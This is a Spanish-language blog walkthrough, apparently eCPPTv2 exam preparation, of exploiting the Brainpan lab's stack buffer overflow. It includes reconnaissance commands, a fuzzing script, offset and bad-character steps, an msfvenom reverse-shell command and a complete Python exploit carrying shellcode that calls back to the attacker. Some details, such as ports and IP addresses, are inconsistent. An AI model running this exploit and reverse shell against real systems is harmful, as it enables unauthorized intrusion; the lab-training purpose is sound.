En este artículo, vamos a ver cómo explotar un Buffer OverFlow. Esta vulnerabilidad es una de las más importantes en el examen del eCPPTv2 y forma parte de mi preparación para esta certificación. Si estás interesado, te dejo aquí los recursos para mi preparación.
La traducción de Buffer OverFlow es Desbordamiento de Búfer ¿Qué quiere decir esto? Pues que un desbordamiento del búfer ocurre cuando un programa intenta guardar más información de la que su espacio de memoria asignado puede contener. Diríamos que, si un programa espera guardar cierta cantidad de datos en un espacio limitado y se introduce más información de la que puede manejar, esa información adicional puede sobrescribir otras partes de la memoria, causando errores o permitiendo que alguien ejecute código malicioso.
Para este laboratorio, lo primero que necesitas es una máquina atacante KALI o PARROT, el laboratorio que vamos a realizar (que es el BRAINPAN) y una máquina virtual Windows 7/10 para hacer pruebas antes de vulnerar el laboratorio.
Una vez que está todo instalado, vamos a comenzar con la fase de reconocimiento.
Como primer paso, vamos a hacer un escaneo de nuestra red interna para encontrar las máquinas virtuales, en mi caso lo voy a hacer con netdiscover ejecutando el comando:
netdiscover -r 192.168.0.0/24
Por un lado tenemos la ip 192.168.0.20 que es la máquina víctima y por otro lado tenemos la ip 192.168.0.21 que es la máquina de Windows 10.
Una vez conocida la ip, vamos a hacer un escaneo de puertos con nmap.
nmap -p- -T5 192.168.0.20 -oN Brainpan_portscan.txt
Vemos el puerto 9999 y el puerto 10000 abiertos. Ahora escaneamos los servicios de los puertos encontrados.
nmap -sCV -p9999,10000 192.168.0.20 -oN Brainpan_services.txt
Al no encontrar ninguna información importante en ningún puerto, fuzzeamos el puerto 10000 ya que al ser un servidor http, hay más posibilidades de que haya directorios ocultos.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Directory-list-2.3-big.txt -u http://192.168.0.20:1000/
Encontramos el directorio /bin, en el cual se encuentra un binario llamado brainpan.exe.
Ahora pasamos el binario brainpan.exe a nuestra máquina Windows para comenzar con la fase de pruebas y explotación del Buffer OverFlow.
Dentro de nuestro Windows 10 deberemos desactivar el Windows Defender, descargar e instalar Mona Modules y Immunity Debugger.
Con mona, tendremos que mover el archivo mona.py a la carpeta C:\\Archivos de programa\Immunity Inc\Immunity Debugger\PyCommands\
Para hacer pruebas contra el binario brainpan.exe, es necesario abrir Immunity Debugger y brainpan.exe como administrador y adjuntar el binario brainpan.exe a Immunity.
Una vez abierto todo, como primer paso, vamos a configurar una carpeta de trabajo para el binario con el que estamos trabajando. Vamos a escribir en el buscado del immunity Debugger lo siguiente:
!mona config -set workingfolder c:\mona\%p
Ahora comenzamos con la primera fase del Buffer OverFlow, el fuzzing.
La primera fase de la explotación del Buffer OverFlow es el fuzzing. En esta fase, nuestra intención es descubrir en qué byte se bloquea el programa porque en ese punto se acontece el Desbordamiento del Buffer. Vamos a utilizar un script que consta de enviar al binario cadenas largas compuestas por «A», para descubrir en entre que bytes se bloquea el binario.
#!/usr/bin/env python3 import socket, time, sys ip = "192.168.0.21" port = 9999 timeout = 1 prefix = "" string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)
Como vemos, el binario crashea entre los 500 bytes y los 600 bytes, dentro de estos bytes se encuentra el exacto con el que podremos modificar el EIP.
En esta fase, vamos a encontrar el byte exacto donde el programa rompe y redirigir el programa a la ejecución de código malicioso.
Vamos a apoyarnos de una herramienta de metasploit para crear el payload. Vamos a sumarle 400 bytes a los 600 bytes donde rompe el programa para tener margen y crear un payload para encontrar el byte exacto.
usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Ahora, lanzamos el payload hacia la máquina Windows 10:
echo “payload” | nc 192.168.0.21 9999
Ahora el EIP, ha sido modificado. Ese número es donde crashea exactamente el programa. Vamos a conocer el byte exacto:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q "35724134"
Nos da un resultado de 524. Eso quiere decir que el programa se rompe en el byte 524.
Ya tenemos el byte exacto donde crashea el programa ¿Cómo sabemos que el programa crashea exactamente en ese byte? Vamos a comprobarlo con el siguiente comando:
python3 -c 'print("A"*524 + "B" * 4)' | nc 192.168.1.21 9999
Si vemos que el EIP en el Immunity Debugger ahora es 42424242 (4 B’s en hexadecimal) significa que hemos sobrescrito el EIP.
Ya tenemos control sobre el EIP, el siguiente paso será conocer los BADCHARS. Básicamente necesitamos saber qué caracteres son malos o no válidos para el payload. Estos caracteres son aquellos que podrían interferir con la ejecución de nuestro payload o provocar comportamientos inesperados.
Hay varias formas de crearlos, podemos irnos a Badchars – GitHub y copiar los badchars en nuestro script o crear nosotros mismos los bachars de la siguiente forma:
Python for i in range(0,256): print('\\x%02X' % i, end='') Bash for i in {0..255}; do printf "\\\x%02x" $i;done
Añadimos el resultado al script y quedaría así:
#!/usr/bin/env python3 import socket ip = "192.168.0.21" port = 9999 prefix = "" offset = 524 overflow = "A" * offset retn = "BBBB" padding = "" payload = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) postfix = "" buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
Antes de ejecutar el script, vamos a Immunity a darle un archivo de badchars a mona para que pueda compararlos con el programa que vamos a ejecutar:
!mona bytearray -b "\x00"
El script se ejecuta y se observa cualquier comportamiento anómalo o crash. Si el programa se bloquea, se investiga la causa y se busca determinar si algún «badchar» es responsable. En función de los resultados, se ajusta el payload, eliminando los «badchars» identificados y reemplazándolos con valores permitidos.
Tras la ejecución, comparamos los badchars del programa objetivo con los de nuestro payload:
!mona compare -f c:\mona\brainpan\bytearray.bin -a ESP
En este caso, este binario no tiene ningún badchar por lo que tenemos la certeza de que podemos ejecutar el script sin ningún tipo de problema.
Como último paso, nos queda conocer el pointer; que será el punto donde el programa es redirigido al script malicioso. Para ello, vamos a ir a nuestra terminal y escribir lo siguiente:
locate nasm_shell.rb
Ejecutamos el .rb que nos aparece junto a la instrucción JMP ESP
, Lo que estamos haciendo en este momento es buscar el equivalente al opcode, que es la operación que indica qué código se va a ejecutar. Vamos a convertir el lenguaje ensamblador en código hexadecimal.
Para conocer el pointer del programa objetivo, vamos a ejecutar el siguiente comando en Immunity Debugger:
!mona modules
Prestamos atención al programa brainpan.exe que tiene todo en false. Esto nos indica que no hay medidas de protección contra el binario. Hay formas de Bypassear esta protección. En este caso, para el ecpptv2, tendremos un Buffer OverFlow sencillo y no será necesario bypassear los módulos de protección.
Ahora ejecutamos el comando:
!mona find -s "\xff\xe4" -m brainpan.exe
donde -m
indica el módulo sin protección. Este comando nos reportará la dirección de retorno que es la siguiente:311712f3
El pointer lo añadiremos al script de la reverse shell más adelante en orden inverso, ya que al utilizar arquitectura x86 utilizamos el formato little endian. es decir que se representaría así: \xf3\x12\x17\x31.
Para generar la reverse shell vamos a utilizar un módulo de Metasploit:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IPATACANTE LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00”
añadimos el resultado al script:
#!/usr/bin/env python3 import socket ip = "ip victima" port = 9999 retn = "\xf3\x12\x17\x31" padding = "\x90" * 16 payload = ( "\xdb\xd1\xb8\x23\xcc\x39\xc6\xd9\x74\x24\xf4\x5f\x31\xc9" "\xb1\x12\x31\x47\x17\x03\x47\x17\x83\xcc\x30\xdb\x33\x23" "\x12\xeb\x5f\x10\xe7\x47\xca\x94\x6e\x86\xba\xfe\xbd\xc9" "\x28\xa7\x8d\xf5\x83\xd7\xa7\x70\xe5\xbf\xf7\x2b\x15\x2c" "\x90\x29\x16\x53\xdb\xa7\xf7\xe3\x7d\xe8\xa6\x50\x31\x0b" "\xc0\xb7\xf8\x8c\x80\x5f\x6d\xa2\x57\xf7\x19\x93\xb8\x65" "\xb3\x62\x25\x3b\x10\xfc\x4b\x0b\x9d\x33\x0b") buffer = 'A' * 524 + retn + padding + payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) print("Sending evil buffer...") s.send(bytes(buffer + "\r\n", "latin-1")) print("Done!") except: print("Could not connect.")
Ya estamos dentro del equipo 🙂
Ahora solo queda escalar privilegios, para ello, te invito a ver el vídeo tutorial de cómo explotar el Buffer OverFlow en mi canal de YouTube.
Si te estás preparando para el ecpptv2, recuerda que tienes una lista de reproducción en mi canal donde te enseño cómo hacer el Buffer OverFlow, pivoting y la generación de informes junto con todos los recursos que estoy utilizando para prepararme para la certificación.
Descárgate la plantilla gratuita del informe para el eCPPTv2
Al suscribirte, aceptas la política de privacidad de Rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.